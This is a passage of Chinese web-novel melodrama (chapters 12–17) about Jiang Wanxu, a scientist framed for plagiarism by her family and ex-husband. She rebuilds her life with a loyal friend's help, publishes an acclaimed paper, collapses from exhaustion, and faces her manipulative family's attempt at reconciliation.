第12章 顾总,人接到了
足足过了十几秒,电话那头,苏洛敏的声音才再次响起,带着一丝急切和难以置信的担忧。
“晚絮?!是你?!你的声音怎么了?你出什么事了?!”
“你现在在哪儿?!”
半个小时后。
一辆半旧的甲壳虫,一个急刹车,停在了江晚絮面前。
车门打开,苏洛敏顶着一头乱糟糟的卷发,穿着睡衣和拖鞋就冲了下来。
当她看到那个抱着膝盖、蜷缩在电话亭角落里,瘦得像一片纸一样的江晚絮时,眼眶一下子就红了。
“我的天……晚絮……他们到底把你折磨成什么样子了……”
苏洛敏什么都没问,直接把她塞进了车里,又费力地把她的行李箱搬上后备箱。
一路疾驰,回到了她租住的那个并不宽敞,甚至有些拥挤的一居室公寓。
公寓很小,却被收拾得干净又温馨。
暖黄色的灯光,驱散了江晚絮满身的寒意。
苏洛敏把她按在那个小小的、却很柔软的布艺沙发上,然后手忙脚乱地去给她倒热水,找医药箱。
看着好友那张写满了心疼和担忧的脸,江晚絮接过那杯温热的水,水汽氤氲了她的视线。
她低下头,用几不可闻的声音,轻声道谢。
“谢谢你,洛敏。”
身体的疲惫,在这一方小小的、温暖的天地里,得到了些许缓解。
然而,那颗被至亲生生剜掉一块、遍体鳞伤的心,却在这寂静的深夜里,被啃噬得愈发清晰。
一幕幕,一声声。
江明泽的厌恶,江明宇的辱骂,江芊妤的陷害,还有……父亲那句冰冷的“滚”。
像电影慢镜头一样,在她的脑海里,反复地上演。
疼。
疼得她连呼吸都觉得奢侈。
苏洛敏看着她这副鬼样子,什么都没问。
问了也是白问。
她转身冲进自己那塞得满满当当的衣柜。
翻出一条崭新的毛巾,和一套干净的棉质睡衣,扔到江晚絮怀里。
“先去洗个热水澡,把你身上那股丧气和霉味都给我洗干净了。”
她的语气硬邦邦的,像是在下达命令。
江晚絮抱着那套柔软的睡衣,上面还带着一股淡淡的洗衣液清香。
那是属于一个正常人家的,温暖而安稳的味道。
她的眼眶又是一热。
“洛敏,谢谢你……但是,我不会打扰你太久的,等我找到地方……”
苏洛敏最烦的就是这个。
她一摆手,直接打断了江晚絮的话,眉头拧得像个疙瘩。
“行了行了,少来这套文绉绉的。让你住就住着,哪儿那么多废话?”
“我这儿庙小,地儿也窄,但多你一个也挤不垮。”
她叉着腰,上下打量着江晚絮,像一只护崽的母鸡,眼神里却带着一丝不易察觉的别扭。
“还有,我可不是同情你。”
苏洛敏忽然开口,语气变得有些复杂。
“我就是看不惯那些孙子欺负人。”
江晚絮愣住了。
苏洛敏哼了一声,别过脸去,像是有些不自在。
“前几天我看到网上的帖子,说你学术造假的时候,我就一个字都不信。”
“江芊妤是个什么货色,我比你清楚。”
“大学那会儿,她为了抢一个保送名额,都能半夜偷偷格式化竞争对手的电脑硬盘,这种事我都亲眼见过。她的话,狗听了都得摇摇头。”
江晚絮的心,像是被什么东西轻轻撞了一下。
这是除了顾彦廷之外,第一个,如此斩钉截铁的,选择相信她的人。
苏含敏像是打开了话匣子,继续说道:
“至于你……江晚絮……”
她顿了顿,眼神飘向远处,似乎陷入了回忆。
“你是什么样的人,我跟你斗了四年,我能不清楚?”
“你就是个科学疯子,一根筋的怪物。”
“为了一个数据模型,你能三天三夜不睡觉,把自己关在图书馆里啃资料。”
“为了验证一个猜想,你能把兼职赚的所有钱都拿去买实验材料,自己天天啃馒头。”
“你这种人,骄傲得要死,把学术看得比命都重要,你会去抄袭?去剽窃?”
苏洛敏嗤笑一声,那笑声里,带着三分不屑,七分笃定。
“你要是会干那种事,我苏洛敏的名字倒过来写。”
江晚絮怔怔地看着她。
看着这个大学四年,一直视自己为头号竞争对手,事事都要跟自己争个高下的女孩。
她从未想过,最了解她的,竟然是她的“敌人”。
苏洛敏的内心,远比她表现出来的要波澜壮阔。
她想起大学毕业时,就是因为一个小数点后三位的精度差异,她的论文综合评分,以零点零一分的微弱差距,输给了江晚絮。
也因此,她与那位她仰慕已久的首席博导失之交臂,眼睁睁看着江晚絮成了那位泰斗的关门弟子。
那份不甘,那份挫败感,曾让她耿耿于怀许多年,甚至毕业后,都不愿再主动联系江晚絮。
可她就是这样的人。
慕强,是刻在骨子里的。
她可以输,但她只服气凭真本事赢过她的人。
江晚絮,就是那个人。
所以,当她看到新闻上,江晚絮被江家和叶家联手泼上“学术剽窃”的脏水时,她心里的第一反应,不是幸灾乐祸,而是暴怒。
是一种属于强者的尊严,被小人玷污的愤怒。
他们怎么敢?
他们怎么配?!
用这种下三滥的手段,去对付一个……她苏洛敏都未曾真正战胜过的对手!
这份基于实力认可的信任,像一股最温暖的激流,瞬间冲垮了江晚絮心中最后一道防线。
它比任何单纯的同情和怜悯,都更能让她感到慰藉。
那是来自同类的,最珍贵的认可。
江晚絮的眼泪,终于无声地滑落。
这一次,不是因为悲伤,也不是因为绝望。
而是因为,这世上,终于有人懂她。
“快去洗澡!”
苏洛敏看到她掉眼泪,顿时手足无措起来,语气也变得更凶了。
“哭哭啼啼的像什么样子!不就是被狗咬了几口吗?回头咱们拿棍子打回去就是了!”
“赶紧的,洗完出来我给你煮碗面,看你瘦得跟个纸片人似的,风一吹就倒了。”
她一边说着,一边把江晚絮推进了小小的卫生间,然后“砰”的一声关上了门。
听着里面传来的哗哗水声,苏洛敏才长长地舒了一口气。
她走到阳台,关上玻璃门,从睡衣口袋里摸出手机。
犹豫了片刻,还是拨通了那个只存了“G”字母的号码。
电话几乎是秒接。
那头传来一道低沉磁性的男声,带着一丝不易察觉的急切。
“怎么样?”
苏洛敏靠在栏杆上,夜风吹起她乱糟糟的卷发。
她言简意赅:“顾总,人接到了。”
第13章 沉寂
电话那头的顾彦廷,似乎是松了口气,声音也缓和了下来。
“辛苦了,苏小姐。后续有任何需要,随时联系林易,他会……”
“不必多说。”
苏洛敏却直接打断了他,语气里带着一丝她独有的傲然。
“顾总,我帮你这个忙,不是图你什么。”
“就算你今天没有委托我,我知道了她的事,也绝不会袖手旁观。”
“我们这种搞科研的,或许有点书呆子气,但心里都有一杆秤。”
“谁是真材实料,谁是跳梁小丑,我们分得清。”
“保护江晚絮,不是在保护她一个人,是在保护我们这类人,最后那点可笑的、干净的底线。”
说完,她便干脆利落地挂了电话。
电话那头,站在“天枢”顶层落地窗前的顾彦廷,看着被挂断的通话界面,非但没有生气,唇角反而勾起一抹极淡的笑意。
他要的,就是这样的人。
一个能真正走进江晚絮心里,给她带去力量的朋友。
而不是一个,他用金钱雇来的保姆。
解决了栖身之所的后顾之忧,江晚絮将自己彻底地、毫无保留地,献祭给了科研。
第二天一早,她就联系了林易,进入了那个位于京城郊区,地图上甚至都没有标注的“天枢”实验室。
从踏入那扇门开始,她就像变了一个人。
那个在江家人面前脆弱、无助、沉默的江晚絮,消失了。
取而代之的,是一个冷静、专注、甚至有些冷酷的科研机器。
她几乎是开启了“自虐”模式。
二十四小时,除了必要的睡眠,她几乎全部的时间都泡在了实验室里。
用一组组繁复的数据,一行行精密的代码,一张张复杂的结构图,来麻痹那颗被伤的千疮百孔的心。
也用这种近乎疯狂的投入,来争分夺秒,夺回本该属于她的清白和尊严。
实验室的灯,常常彻夜通明。
很多时候,她因为工作到太晚,或者因为一个灵感在深夜突然迸发,就直接裹着实验服,在休息室的折叠床上将就一夜。
桌上的饭菜,从温热到冰凉,她都常常忘记去吃。
咖啡和浓茶,成了她续命的良药。
短短一周,她整个人又瘦了一圈,眼下的乌青浓得像墨,但那双眼睛却亮得惊人。
像是淬了火的寒星,燃烧着不屈的火焰。
顾彦廷派给她的科研团队,是寰宇科技内部最顶尖的一批精英。
一开始,他们对于这个空降而来的、名声不佳的“江小姐”,只是抱着公事公办的态度。
老板的命令,他们执行就好。
然而,仅仅三天。
他们所有人的态度,就发生了三百六十度的转变。
当江晚絮只用了一个小时,就解决了困扰他们团队半个月的算法瓶颈时;
当她徒手画出的分子结构图,比电脑建模还要精准分毫不差时;
当她对一项前沿技术的理解,比项目组里资历最老的专家还要深刻透彻时;
整个团队,彻底沸腾了。
质疑,变成了震惊。
公事公办,变成了由衷的敬佩。
他们开始自发地为她准备三餐,提醒她休息,甚至在她推演到关键时刻,会默契地围在她身边,连呼吸都放轻,生怕打扰到她。
“江老师,您昨天指出的那个数据冗余问题,我们优化了一下,您看看这个方案行吗?”
“江老师,这是新到的超导材料样品,您要不要看一下?”
“江老师,您先去休息一会儿吧,这里我们盯着,您这都连着熬了四十个小时了!”
从“江小姐”到“江老师”,称呼的转变,代表着绝对的实力认可。
江晚絮虽然与团队配合默契,但大部分最核心的实验论证和数据推演,她坚持亲力亲为。
因为她知道,这些,将是她递给所有敌人最锋利、最无法辩驳的一把刀。
这把刀,必须由她亲手打磨。
……
与此同时。
江芊妤和江、叶两家,还沉浸在胜利的喜悦和对未来的美好幻想中。
他们当然没有完全放过江晚絮。
叶寒甚至派了人,二十四小时盯着苏洛敏住的那个老旧小区。
传回来的消息,让他们彻底放下了心。
“目标每天都从那个破公寓里出来,坐地铁去一个普通的写字楼,看起来是找了个班上。”
“穿得也很寒酸,都是些地摊货。”
“有时候晚上还去便利店买打折的便当。”
“精神状态看起来很差,很憔悴。”
这些消息,无疑取悦了他们。
在他们的认知里,被叶家和江家联手封杀的江晚絮,就应该是这个下场。
像一只被拔了毛的凤凰,掉进泥潭里,再也扑腾不起来。
他们根本无法想象,也永远不会知道。
那个普通的写字楼,只是顾彦廷为了掩人耳目,设置的一个中转站。
江晚絮每天从那里,通过一部专用电梯,直达地下三层的秘密停车场,再换乘专车,前往真正的“天枢”实验室。
他们看到的,不过是顾彦廷想让他们看到的假象而已。
江芊妤最近春风得意。
叶寒已经公开宣布,将在下个月和她举行盛大的订婚典礼。
她每天的生活,就是逛街、做SPA、试婚纱,和名媛们喝下午茶,享受着众人艳羡的目光。
偶尔提起江晚絮,她总会露出一副悲天悯人的神情。
“唉,姐姐她也是太固执了……真不知道她现在过得怎么样,我很担心她。”
那虚伪的姿态,为她赢得了不少“善良懂事”的好名声。
江明泽和叶寒,则忙于一个跨国合作项目的竞标。
那个项目,原本江晚絮的研究成果,是其中最关键的技术支持。
如今,这份成果,被他们理所当然地,冠上了江芊妤的名字。
他们忙于生意场上的觥筹交错,忙于和各方大佬拉拢关系。
在他们眼里,江晚絮这个名字,已经成了一个被彻底清除的“污点”,一个偶尔想起时,只会惹来厌烦的麻烦。
她已经自行沉寂了。
再也翻不起任何浪花了。
这长达一个月的“无视”与“放松”,恰恰为江晚絮争取到了最宝贵、最不受打扰的科研时间。
第14章 天才
京城市民政局。
空气里弥漫着消毒水的味道,和一丝若有若无的尴尬。
江晚絮坐在椅子上,手里捏着一支黑色的签字笔。
她对面,是西装革履,面容冷峻的叶寒。
从头到尾,他一句话都没说,只是用那双深邃的眼眸,紧紧地盯着她。
像是在审视,又像是在探究。
他以为会看到她哭,或者闹,至少会有一丝不舍。
毕竟,这个女人爱了他五年,爱的卑微到了尘埃里。
但她没有。
江晚絮的脸上,平静得像一潭被冰封的湖水,没有丝毫波澜。
工作人员公式化的走着流程:“两位考虑清楚了吗?确认自愿离婚?”
叶寒没作声,目光依旧胶着在江晚絮身上。
江晚絮抬起眼,迎上他的视线,唇角甚至勾起了一抹极淡的,近乎嘲讽的弧度。
她清晰地开口,“确认。”
那声音,清冷,干脆,不带一丝留恋。
叶寒的心,莫名地被刺了一下。
他皱起眉,一种说不清道不明的烦躁感,从心底升起。
江晚絮没再看他。
她拿起笔,没有丝毫犹豫。
在那份象征着五年婚姻终结的协议书上,签下了自己的名字。
一笔一划,清晰,冷静,像是签收一份无关紧要的快递。
写完,她将协议书推到叶寒面前,动作流畅得仿佛演练过千百遍。
“到你了,叶总。”
那声“叶总”,疏离又客气,像一把无形的刀,瞬间将两人之间最后一丝牵连斩断。
叶寒的脸色,又沉了几分。
他抓过笔,龙飞凤舞地签下自己的名字,力道大得几乎要划破纸张。
红色的印章,“啪”的一声,盖在了两本崭新的离婚证上。
刺眼,决绝。
工作人员将其中一本递给江晚絮。
“江小姐,手续办好了。”
江晚絮接过那本小小的红本,轻得像一片羽毛。
她却觉得,自己终于卸下了压在身上五年的大山。
她站起身,甚至没有再多看叶寒一眼。
“再见,叶总。”
不,是再也不见。
她转身就走,背影挺直,没有一丝一毫的迟疑。
叶寒看着那个决绝的背影,心头那股烦躁感愈发浓烈。
他下意识地开口,想叫住她。
可话到了嘴边,却又不知道该说什么。
质问她为什么不难过?
还是嘲讽她终于得偿所愿?
似乎都不对。
就在他这片刻的犹豫中,那个纤瘦的背影,已经彻底消失在了民政局的大门外。
彻底地,从他的世界里,干净利落地退了场。
这份极致的平静与冷漠,像一根看不见的针,密密麻麻地扎进了叶寒的心里。
不疼,但就是说不出的憋闷。
他烦躁地扯了扯领带,第一次觉得,事情的发展,似乎有些脱离他的掌控。
同一天晚上,十一点五十九分。
京郊,“天枢”实验室。
巨大的环形屏幕上,无数行代码如瀑布般飞速滚动。
江晚絮坐在控制台前,双眼布满血丝,死死地盯着屏幕中央的进度条。
“最终数据校验完成,无冗余错误。”
“理论模型与实验结果匹配度99.98%。”
“反向推演逻辑链闭合,无悖论。”
团队成员的声音,带着压抑不住的兴奋,在安静的实验室里此起彼伏。
江晚絮的右手,握着鼠标,指尖因为用力而微微泛白。
她的心脏,在胸腔里剧烈地跳动着。
这一个月,她几乎是将自己的命,燃烧在了这里。
如今,到了最后收割的时刻。
屏幕上,一个对话框弹了出来。
【是否确认提交至《环球科学》线上期刊?】
江晚絮的目光,落在了论文署名那一栏。
清清楚楚的三个字——
**Jiang Wanxu。**
她深吸一口气,移动鼠标,光标停在了那个“确认提交”的按钮上。
然后,轻轻按下。
“滴——”
一声轻响。
屏幕上跳出“提交成功”的字样。
整个实验室,瞬间爆发出雷鸣般的欢呼和掌声!
“成功了!江老师我们成功了!”
“太牛了!这个理论一旦公布,绝对是颠覆性的!”
“哈哈哈,我要去开一瓶八二年的香槟!”
确认上传成功的那一刻,江晚絮长长地吐出了一口气。
那口气,仿佛抽走了她全身所有的力气。
那根以复仇为名,紧绷了一个月的神经,骤然断裂。
耳边的欢呼声,渐渐变得遥远、模糊。
世界开始旋转。
眼前的数据流,变成了扭曲模糊的光影。
一股滚烫的热浪,毫无征兆地从骨髓深处汹涌而上,瞬间席卷了她的四肢百骸。
“江老师?您怎么了?”
身旁的助手发现了她的不对劲,担忧地问了一句。
江晚絮想开口说“我没事”,却发现喉咙干得发不出一点声音。
她想站起来,双腿却软得像面条,完全不听使唤。
身体里的力气,像是被瞬间抽空了。
她眼前一黑,整个人便直直地朝着后面倒了下去。
“江老师!”
“快!叫医疗组!”
实验室里,顿时乱成一团。
在彻底失去意识前,江晚絮的脑海里,只剩下最后一个念头。
终于……结束了。
江晚絮不知道,她这轻轻一点,在全球学术界,掀起了怎样一场惊涛骇浪。
论文发表不到十分钟。
最先做出反应的,是几位一直关注该领域的诺贝尔奖得主。
一位远在德国的物理学泰斗,深夜从床上爬起来,连夜发表推特:“不可思议的构想,严谨到令人发指的论证!我敢断言,这是量子传感领域近十年来最伟大的突破!这位叫‘Jiang Wanxu’的学者是谁?我必须立刻认识她!”
另一位MIT的终身教授,更是直接在个人主页上写道:“我为我之前对该技术路线的悲观判断道歉。事实证明,是我浅薄了。‘Jiang Wanxu’小姐,为我们所有人,推开了一扇通往新世界的大门。”
紧接着,全球各大顶尖科研院所、科技巨头的官网,纷纷转发、评论。
“天才!”
“鬼斧神工!”
第15章 你还想怎么样
国内的学术圈,因为这一篇论文,直接炸了。
那些曾经对江晚絮避之不及的所谓专家学者,此刻一个个目瞪口呆。
而之前被江芊妤和叶家买通,疯狂在网络上带节奏,给江晚絮扣上“学术骗子”、“抄袭狗”帽子的媒体和水军,瞬间陷入了极度的尴尬和恐慌。
他们前几天骂得有多狠,此刻脸就被打得有多肿。
【卧槽!这是什么神仙反转?前几天不还说她抄袭吗?】
【抄袭?你告诉我这玩意儿怎么抄?这里面的理论,全世界都没几个人能看懂,她去抄谁的?抄外星人吗?】
【笑死,我刚刚去翻了那个骂得最凶的‘学术打假大V’的微博,他已经把所有内容都删了,还设置了半年可见。】
【之前那些说江晚絮身败名裂,被研究院开除的媒体呢?出来走两步啊?】
【真相只有一个:之前江晚絮的研究成果是真的,但被人偷了,反过来诬陷她抄袭!现在她拿出了一个更牛逼的东西,直接把小偷的脸按在地上摩擦!】
舆论,如同山洪暴发,瞬间反噬。
无数网友涌入江芊妤和叶氏集团的官方账号下,要求他们给出解释。
要求彻查真相的呼声,一浪高过一浪。
这一切,都与陷入昏迷的江晚絮无关了。
苏洛敏的公寓里。
她精心准备了一大桌子菜,还开了一瓶昂贵的红酒。
本来是打算等江晚絮凯旋,好好为她庆祝一番的。
结果,人是等回来了,却是被顾彦廷的助理林易,直接从实验室抬回来的。
“急性肺炎,加上长期营养不良和过度疲劳,引起的高烧昏迷。”
医生的诊断,让苏洛敏的心揪成了一团。
此刻,江晚絮躺在床上,小脸烧得通红,嘴唇干裂地起了皮,眉头紧紧地皱着,即便在睡梦中,也似乎承受着巨大的痛苦。
苏洛敏用温水浸湿了毛巾,一遍又一遍地帮她擦拭着滚烫的额头。
看着好友瘦得脱了相的脸颊,和手腕上因为输液而留下的青紫针孔,苏洛敏的眼眶红了。
这个傻子……真的是在用命去拼。
桌上的庆功宴,从温热到冰凉,一口未动。
“叮咚——”
苏洛敏的手机响了,是“天枢”实验室那边,江晚絮的团队打来的视频电话。
屏幕那头,是一群激动又兴奋的脸。
“苏小姐,江老师醒了吗?我们想跟她说一声谢谢!”
“对啊对啊,今晚我们聚餐,想让江老师也看看!”
苏洛敏把摄像头对准了床上昏睡的江晚絮,压低了声音,“她烧得厉害,刚睡下。”
视频那头,瞬间安静了下来。
所有人的脸上,都露出了担忧和心疼的神色。
也许是听到了动静,江晚絮的睫毛颤了颤,缓缓睁开了眼睛。
她的眼神还有些迷茫,声音沙哑得厉害。
“洛敏……”
“我在呢!”苏洛敏赶紧凑过去,“感觉怎么样?”
“……我睡了多久?”
“一天一夜了,你个猪。”
江晚絮看到了她手机里的画面,挣扎着想坐起来。
“是……是大家吗?”
苏洛敏连忙把手机递到她面前。
“江老师!您醒了!”
“江老师您好好休息!庆功宴我们给您留着!”
看着屏幕上一张张真诚又关切的脸,江晚絮的眼眶一热。
她扯出一个虚弱的笑,用尽力气说道:“对不起……扫了大家的兴……谢谢……谢谢你们……”
一句话,说得断断续续,气若游丝。
屏幕那头,一个年轻的实习生没忍住,当场就哭了。
挂了电话,江晚絮的眼角,滑下一行清泪。
这一次,是解脱,是疲惫,也是……新生。
那根一直强撑着她的弦,终于可以,真正地松下来了。
她闭上眼,再次沉沉睡去。
……
江芊妤快要疯了。
她原本正在和设计师敲定婚纱的最终款式,期待着下个月那场轰动全城的盛大婚礼。
她将以叶太太和天才科研才女的双重身份,风光无限地出现在所有人面前。
可这篇论文,像一颗重磅炸弹,将她所有的美好幻想,炸得粉碎。
她的手机,快要被打爆了。
有合作方打来询问技术真实性的,有媒体打来要求采访的,还有一些以前的同学和同事,发来各种阴阳怪气的“问候”。
最让她恐慌的是,她之前发表的那些挂着她名字的论文,也开始被人扒了出来。
无数双眼睛,都在注视着她的过去。
一旦被人发现那些成果的独立性和真实性有问题,她就彻底完了!
她辛辛苦苦营造了这么多年的“才女”人设,将彻底崩塌!
“啊——!”
江芊妤歇斯底里地将桌上的东西全部扫到了地上,精致的妆容因为嫉妒和愤怒而扭曲。
“江晚絮!江晚絮!你为什么不去死!”
她颤抖着手,拨通了叶寒的电话,声音瞬间带上了浓浓的哭腔。
“阿寒……呜呜呜……你看到网上的新闻了吗?”
“姐姐她……她怎么能这样对我?”
“她发表那篇论文,就是故意的!她知道我们的项目马上就要竞标了,她想毁了我,想让我们叶家和江家都成为业界的笑柄!”
“现在所有人都来质疑我,说我是小偷……阿寒,我该怎么办啊……呜呜呜……”
叶寒听着电话里心爱之人的哭诉,脸色阴沉得能滴出水来。
他当然也看到了那篇论文,以及网上那铺天盖地的舆论。
他的第一反应,不是震惊于江晚絮的才华,而是暴怒。
一种被背叛,被挑衅的暴怒。
在他眼里,江晚絮此举,就是在报复!
是在赤裸裸地打他的脸,打江芊妤的脸!
“别哭了,芊妤。”他柔声安抚道,“这件事,交给我来处理。”
挂了电话,叶寒眼中闪过一丝狠戾,他立刻找到了江晚絮的号码,拨了过去。
他要亲自问问那个女人,她到底想干什么!
电话响了很久,才被接起。
叶寒不等对方开口,冰冷刺骨的质问便如连珠炮般砸了过去。
“江晚絮,你非要做得这么绝吗?”
“离婚你已经签了,你还想怎么样?”
“发表这篇论文,不就是故意针对芊妤,想让她身败名裂吗?她是你妹妹!你就这么容不下她?”
“你知不知道她现在被你害得有多惨?她……”
手机那头,江晚絮正陷在高烧的混沌中。
是苏洛敏帮她接通的电话。
叶寒那熟悉又荒谬的指责,透过听筒,一字不漏地传进她的耳朵里。
第16章 一家人,哪有隔夜仇
若是换做以前,江晚絮一定会声嘶力竭地去辩解,去争吵,去证明自己的清白。
可现在……
她连一丝愤怒的力气都没有了。
只觉得,无比的疲倦,和彻骨的可笑。
她想起过去无数次徒劳的辩解,想起他永远偏袒江芊妤的眼神,想起自己被推下楼梯时他冷漠的脸。
原来,一个人对另一个人的偏见,真的可以根深蒂固到这种地步。
她不配拥有才华。
她所有的成就,都一定是为了针对江芊妤。
真是……可笑至极。
江晚絮没有争辩。
没有解释。
甚至没有力气愤怒。
在叶寒喋喋不休的指责中,她只是抬起发软的手指,从苏洛敏手中拿过手机,轻轻地,按下了那个红色的挂断键。
“嘟……嘟……嘟……”
听筒里传来一阵尖锐刺耳的忙音。
叶寒所有的斥责,戛然而止。
他愣住了。
他握着手机,站在原地,如遭雷击。
这……是江晚絮第一次,主动挂断他的电话。
没有哭闹,没有解释,甚至没有一句反驳。
就是这样,用一种近乎轻蔑的沉默,彻底地切断了与他的所有交流。
这种彻底的、不屑一顾的沉默,比任何激烈的反驳都更具冲击力。
像一记无声的耳光,狠狠地扇在了他的脸上。
一种前所未有的恐慌,像是无数只冰冷的手,死死地扼住了他的心脏。
江晚絮。
那个把他当成全世界的女人。
那个无论他怎么冷待,都会红着眼圈,小心翼翼凑上来的女人。
那个只要他皱一下眉,就会紧张的手足无措的女人。
她竟然,挂了他的电话。
在他质问她的时候。
在他为芊妤讨公道的时候。
她甚至,连一句辩解都没有。
这种被彻底无视的感觉,比被她痛骂一顿还要让他难以忍受。
仿佛他叶寒在她江晚絮的世界里,已经沦为了一个无足轻重的笑话。
他烦躁地在办公室里来回踱步,心里的火越烧越旺,却找不到任何出口。
他想再打过去,狠狠地质问她这算什么态度。
可手指悬在拨号键上,却迟迟按不下去。
他怕什么?
是怕她再挂一次?
还是怕,听到她那把什么都不在乎的、清冷到极致的声音?
叶寒第一次发现,自己竟然……不敢。
苏洛敏的公寓里。
江晚絮挂断电话后,便又昏沉地睡了过去。
高烧让她的大脑像一团被煮沸的浆糊,混沌,迟钝。
苏洛敏看着她苍白的小脸,心疼地对着手机骂了一句:“人渣!”
她想也不想地将叶寒的号码,彻底拉黑。
从此山高水远,再无瓜葛。
手机刚放下,屏幕又亮了起来。
是一个陌生的京市本地号码。
苏洛敏皱起眉,以为是哪个不长眼的记者,想直接挂断。
“等一下……”
床上的江晚絮却忽然开了口,声音沙哑得像被砂纸磨过。
她的眼睛并没有睁开,长长的睫毛还在微微颤抖。
“给我……”
苏洛敏有些不解,但还是把手机递了过去。
江晚絮没有看屏幕,只是凭着一种近乎本能的直觉,划开了接听键。
她将手机放在耳边,没有出声。
听筒里,先是一阵短暂的沉默,像是在酝酿情绪。
随即,一个男人刻意放得温和,却依旧透着一股居高临下味道的声音,响了起来。
“晚絮啊……是爸爸。”
江晚絮的嘴角,无声地向上勾起了一抹细微的、冰凉的弧度。
爸爸?
多么遥远又可笑的称呼。
她还以为,这个人,早就忘了自己还有个女儿叫江晚絮。
“嗯。”
她从喉咙里,挤出一个单音节。
电话那头的江父,似乎没料到她会是这种反应,又顿了一下。
在他预想中,她要么是受宠若惊,要么是哭诉委屈。
但这一个冷淡的“嗯”,却让他准备好的一肚子说辞,都卡在了喉咙里。
“那个……网上的事情,爸爸都看到了。”江父清了清嗓子,继续扮演着慈父的角色,“你……受委屈了。”
“之前,是家里人误会你了。”
“爸爸在这里,替你哥哥们,还有芊妤,跟你道个歉。”
江晚絮在心里冷笑。
道歉?
在她被江明宇掐着脖子,按在地上打的时候,他在哪里?
在她被江明泽指着鼻子,骂她不知廉耻给江家丢人的时候,他在哪里?
在她被江芊妤陷害,被他们所有人联手推下楼梯的时候,他又在哪里?
现在,她的论文震惊了世界。
她江晚絮这个名字,成了无数人仰望的存在。
他倒想起来,自己是她爸爸了。
“晚絮啊,你看,你身体也刚好,总在外面住着也不是个事儿。”
“回家来吧。”
“爸爸让阿姨给你炖了你最爱喝的乌鸡汤,给你补补身子。”
“一家人,哪有隔夜仇呢?过去的,就让它过去吧。”
江父的语气,充满了“宽宏大量”的施舍感。
仿佛他愿意让她回家,是给了她天大的恩赐。
仿佛她之前所受的所有伤害,所有痛苦,都可以用一碗汤,一句“过去了”,就轻飘飘地一笔勾销。
江晚絮听着,忽然觉得很没意思。
她脑海里,却莫名浮现出母亲临终前,拉着她的手,一遍遍嘱咐她要“听爸爸的话”的画面。
那份生育之恩,如同最后一根看不见的蛛丝,还牵连着她。
也好。
那就回去一趟。
不为和解,不为亲情。
只为,亲手斩断这最后一丝牵连。
也为了看一场早就预知了结局的,滑稽戏。
“好。”她轻声应道。
“什么时候?”
江父大喜过望,连忙道:“就今晚!我让你三哥去接你!”
“不用了。”江晚絮淡淡地拒绝,“我自己过去。”
说完,她便挂了电话。
一旁的苏洛敏,已经听得目瞪口呆。
“晚絮你疯了?!你还真要去?”
“那是什么龙潭虎穴你不知道吗?你现在这身体,去了不是任人宰割?”
江晚絮缓缓睁开眼,那双因高烧而显得格外清亮的眸子里,一片平静。
“洛敏,放心。”
“我不是回去当女儿的。”
“我是回去……当客人的。”
一个,马上就要离席的客人。
第17章 你的心是石头做的吗?
傍晚时分,江晚絮打车,回到了那个阔别已久的“家”。
江家别墅……
这栋房子,是母亲当年的陪嫁。
可她在这个家里,却活得连个佣人都不如。
她站在雕花的铁门外,看着里面灯火通明,仿佛一个与她无关的世界。
深吸一口气后,她按响了门铃。
开门的,是江芊妤。
她穿着一件白色的连衣裙,头发柔顺地披在肩上,小脸苍白,眼睛红肿,一副受了天大委屈的模样。
看到江晚絮,她先是瑟缩了一下,随即又强撑着,挤出一个比哭还难看的笑。
“姐姐……你回来了。”
那声音,怯生生的,带着颤音。
江晚絮懒得理她,径直走了进去。
客厅里,江父立刻满脸堆笑地迎了上来,“哎呀,晚絮回来了,快,快进来!”
那热情的姿态,仿佛之前将她赶出家门的不是他一样。
江明宇坐在沙发上,翘着二郎腿,看到她的瞬间,就从鼻子里发出了一声冷哼,眼神里满是鄙夷和不屑。
江明泽用一种审视的目光,上下打量了她一眼。
只有江明哲站起身,表情有些复杂地看着她,犹豫两秒后开口,“晚絮,你身体……还好吗?”
“死不了。”
江晚絮淡淡地回了三个字,便在离他们最远的单人沙发上坐了下来。
这三个字,让客厅里的空气瞬间凝固。
江明宇“霍”地一下就站了起来,指着她骂道:“江晚絮你什么态度!让你回来是给你脸,你竟然还蹬鼻子上脸了是吧?”
“明宇!”江父立刻呵斥道,“怎么跟你妹妹说话呢!”
他转过头,和颜悦色地对江晚絮说,“晚絮啊,你二哥就是这个臭脾气,你可千万别往心里去。”
一个经典的“红白脸”戏码,江晚絮看都懒得看。
她只是觉得累。
很快,阿姨把饭菜端上了桌。
满满一桌子,确实是她从前爱吃的菜。
水晶虾饺,糖醋小排,蟹粉狮子头……
只可惜,能将这些菜做得合她口味的李阿姨,早就在三年前,因为“不小心”撞见江芊妤偷换她的实验数据,而被江家找了个由头辞退了。
“来来来,晚絮,多吃点,看你瘦的。”
江父一边说,一边给她夹了一筷子糖醋小排。
江晚絮面无表情地看着碗里那块颜色过深、明显火候没掌握好的排骨,半天没有动作。
饭桌上的气氛,尴尬又诡异。
江父咳了一声,没话找话地开口,“晚絮啊,你这次的那个论文……真是……真是给咱们江家争光了。你不知道,你王伯伯李叔叔他们,都打来电话恭喜我,说我养了个好女儿。”
他脸上带着得意。
仿佛江晚絮不眠不休,拼了命换来的成果,是他江家的功劳。
江明宇在一旁阴阳怪气地接话:“是啊,争光了。光都争到国外去了,现在眼界高了,怕是瞧不上我们这座小庙了吧?”
他这话,明着是讽刺,暗地里,却是在指责江晚絮攀上了高枝忘了本。
江明泽放下了筷子,一脸严肃地看着她,端出了长兄的架子。
“晚絮,你二哥说话虽然不好听,但道理是这个道理。”
“做人,最重要的的是要懂得感恩。江家养你这么大,没有功劳也有苦劳。”
“你现在有了成就,更应该想着怎么回报家族,而不是闹脾气、耍性子,让外面的人看我们家的笑话。”
他这番话,说得冠冕堂皇,义正言辞。
仿佛江晚絮之前所受的一切委屈,都只是“闹脾气”,而她现在不肯“回报”家族,就是忘恩负义。
就在此时,一直沉默的江芊妤,忽然低低地啜泣了一声。
她放下筷子,眼泪像断了线的珠子一样往下掉。
“对不起……都怪我……”
“要不是因为我,姐姐也不会受那么多委屈……也不会跟家里闹成这样……”
“大哥二哥,你们别说姐姐了,都是我的错……呜呜呜……”
她一哭,瞬间就将所有人的注意力都吸引了过去。
江父立刻心疼地皱起了眉,“芊妤,这怎么能怪你呢?你别胡思乱想。”
江明宇更是直接拍了桌子,怒视着江晚絮,“你看看你把芊妤逼成什么样子?!她身体本来就不好,你非要这么刺激她吗?江晚絮,你的心是石头做的吗?”
江明泽也赶紧递了张纸巾过去,温声安慰道:“芊妤,不关你的事,是有些人心胸狭隘,见不得你好。”
江晚絮静静地看着眼前这一幕。
多么熟悉啊。
从她有记忆开始,就是这样。
无论发生什么事,无论谁对谁错。
